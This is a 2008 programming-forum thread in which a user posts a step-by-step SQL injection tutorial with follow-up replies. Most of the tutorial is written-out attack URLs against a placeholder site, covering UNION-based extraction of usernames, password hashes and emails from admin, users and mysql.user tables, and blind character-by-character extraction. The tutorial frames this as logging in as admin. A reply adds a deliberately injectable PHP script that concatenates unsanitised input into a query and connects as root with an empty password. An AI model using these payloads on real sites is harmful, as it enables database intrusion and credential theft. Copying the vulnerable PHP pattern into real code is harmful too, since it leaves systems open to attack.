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-   -   SQL Injection (http://www.go4expert.com/articles/sql-injection-t11841/)

XXxxImmortalxxXX 4Jul2008 13:48

SQL Injection
 

Introduction



In this tutorial i will describe how sql injection works and how to use it to get some useful information.

First of all: What is SQL injection?



It's one of the most common vulnerability in web applications today. It allows attacker to execute database query in url and gain access to some confidential information etc...(in shortly).

1.SQL Injection (classic or error based or whatever you call it) :D
2.Blind SQL Injection (the harder part)

So let's start with some action :D

1). Check for vulnerability

Let's say that we have some site like this:

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote), and that would be http://www.site.com/news.php?id=5', so if we get some error like "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..." or something similar that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result). So how to use it? Well just incrementing the number until we get an error.
Code:

http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error

(we get message like this Unknown column '4' in 'order clause' or something like that) that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement. so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2).)

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try -- it's a comment and it's important for our query to work properly. let say that we have number 2 on the screen, now to check for version we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar. it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/* if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..." i didn't see any paper covering this problem, so i must write it :)
what we need is convert() function i.e. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/* or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D

5). Getting table and column name

Well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version. we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc... i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D) we know that table admin exists... now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name) we get username displayed on screen, example would be admin, or superadmin etc... now to check if column password exists http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name) we seen password on the screen in hash or plain-text, it depends of how the database is set up :) i.e md5 hash, mysql hash, sha1... now we must complete query to look nice :) for that we can use concat() function (it joins strings) i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for :)
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash. when you have this, you can login like admin or some superuser :D if can't guess the right table name, you can always try mysql.user (default) it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names in MySQL > 5. For this we need information_schema. It holds all tables and columns in database. to get tables we use table_name and information_schema.tables.
i.e http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add LIMIT to the end of query to list out all tables. i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, we change limit 0,1 to limit 1,1 i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed. for third table we put limit 2,1 i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D To get the column names the method is the same. here we use column_name and information_schema.columns the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed. the second one (we change limit 0,1 to limit 1,1) i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like username,user,login, password, pass, passwd etc... :D
if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users. i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users. Note that this won't work if the magic quotes is ON. let's say that we found colums user, pass and email. now to complete query to put them all together :D for that we use concat() , i decribe it earlier. i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
That's all in this part, now we can proceed on harder part :)

2. Blind SQL Injection



Blind injection is a little more complicated the classic injection but it can be done :D I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D Let's start with advanced stuff. I will be using our example http://www.site.com/news.php?id=5. When we execute this, we see some page and articles on that page, pictures etc... then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true and the page loads normally, that's ok. now the real test
http://www.site.com/news.php?id=5 and 1=2 <--- this is false so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4. replace 4 with 5, and if query return TRUE then the version is 5. i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work. then we gonna see if we have access to mysql.user i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :) i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.) then if the page loads normally without content missing, the table users exits.if you get FALSE (some article missing), just change table name until you guess the right one :) let's say that we have found that table name is users, now what we need is column name. the same as table name, we start guessing. Like i said before try the common names for columns. i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess) here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users. substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value and then compare it with simbol greater then > . so if the ascii char greater then 80, the page loads normally. (TRUE) we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in length)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end). There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually, cause that makes you better SQL INJECTOR :D

This tutorial was one if i remember my first tutorials i ever made and i never forgot about it trust me u will learn from this tutorial.


lol im just going through my pc atm seraching for tutorials that i made lol im so bored right now dunno what to do

GMail 8Jul2008 19:34

Re: SQL Injection
 
Will test them when I reach home. Looks good

XXxxImmortalxxXX 9Jul2008 00:17

Re: SQL Injection
 
well thats good to here :)

rider 10Jul2008 22:49

Re: SQL Injection
 
;) are you a "master" in sql or this is a tutorial from google (no offence), but i want to learn the sql and how to secure this issues .. i started with ssh and now i secure php servers. If you know sql so good i`l be happy to learn from you :)

XXxxImmortalxxXX 11Jul2008 01:52

Re: SQL Injection
 
i used to be a penetration tester for a company and they made us do a extensive amounts of traning in the field of SQL its commonly know the be the easiest thing to hack and that companys are wanting trained professionals to block it

shabbir 14Jul2008 20:23

Re: SQL Injection
 
Hey I just thought I would give a PHP script with this as well

PHP Code:

<?
// server
$servername = "localhost";
//online databaseusername
$serverusername ="root";
//online databsepassword
$serverpass = "";
//online server database name
$serverdb = "test";

function error()
{
    $err = '<br><br>MySQL Error: ' . mysql_error() . '<br><br>
    Error number: ' . mysql_errno() . '<br>';
    echo $err;
}

$db_con = mysql_connect($servername,$serverusername,$serverpass) or die(error());
mysql_select_db($serverdb) or die(error());

//Get the id;
$linkid = isset($_GET["linkid"])?$_GET["linkid"]:"1";

$query="Select * from testtable ";

$condition = "where linkid = '$linkid' AND 1=1";

$query = $query.$condition;

$rec = mysql_query($query) or die(error());

$noofdirs = mysql_num_rows($rec);

echo "<pre>";

echo "Linkid is --> $linkid <br />";

echo"$noofdirs Records found <br />";

$fetchedrecordset = mysql_fetch_row($rec);

print_r($fetchedrecordset);

echo "</pre>";
?>

Create a testtable in the test database with linkid as the id field and one other field to have some data.

XXxxImmortalxxXX 15Jul2008 04:40

Re: SQL Injection
 
hmm so what this does is ask for servername, username, password.

Then it connects to the database then it fetches the linkid and 1=1 now the 1=1 r you reffering to the 1=1 into the username and password boxes on the website or something else?

leConsuming 15Jul2008 06:00

Re: SQL Injection
 
Quote:

Originally Posted by XXxxImmortalxxXX
i used to be a penetration tester for a company and they made us do a extensive amounts of traning in the field of SQL its commonly know the be the easiest thing to hack and that companys are wanting trained professionals to block it

If sql injection is the easiest thing to hack, then why is your main selling point "blah.com/page2hack.php?article=5`" or... article=5'.......what about the other ways...hmmmm?

XXxxImmortalxxXX 15Jul2008 06:28

Re: SQL Injection
 
Hello todays market consist of having top knowledge ppl towards hacking prevention if you notice that all of the 500 company owners have some of the smartest ppl working in there fields towards security.


The owners of joomla is are starting to fall back on there development on there programs


Joomla today is one of the easiest sites to hack for instance

take a look at the following link
http://milw0rm.com/search.php
and type in Joomla
do you see how many vulnerabilities there are?

Thats because joomla lacks the knowledge to fix this and they know it.

Also all of theses corporate company's with there ports open and them not knowing it are dangerous and the ppl today that learn how to prevent intrusion and all there are not taking in what they learn and applying it with there job.



And your question to other ways of sql injection there are 1000s of other ways this is just one way to do it.


Thank you :)

shabbir 15Jul2008 09:23

Re: SQL Injection
 
Quote:

Originally Posted by XXxxImmortalxxXX
Then it connects to the database then it fetches the linkid and 1=1 now the 1=1 r you reffering to the 1=1 into the username and password boxes on the website or something else?

Just to give a dummy condition because in any other SQL for website it is very much unlikely to have a single SQL with once condition.
Quote:

Originally Posted by leConsuming
If sql injection is the easiest thing to hack, then why is your main selling point "blah.com/page2hack.php?article=5`" or... article=5'.......what about the other ways...hmmmm?

Can you share some of the other ways of doing it. I am eager to know them so it helps me on my other sites.


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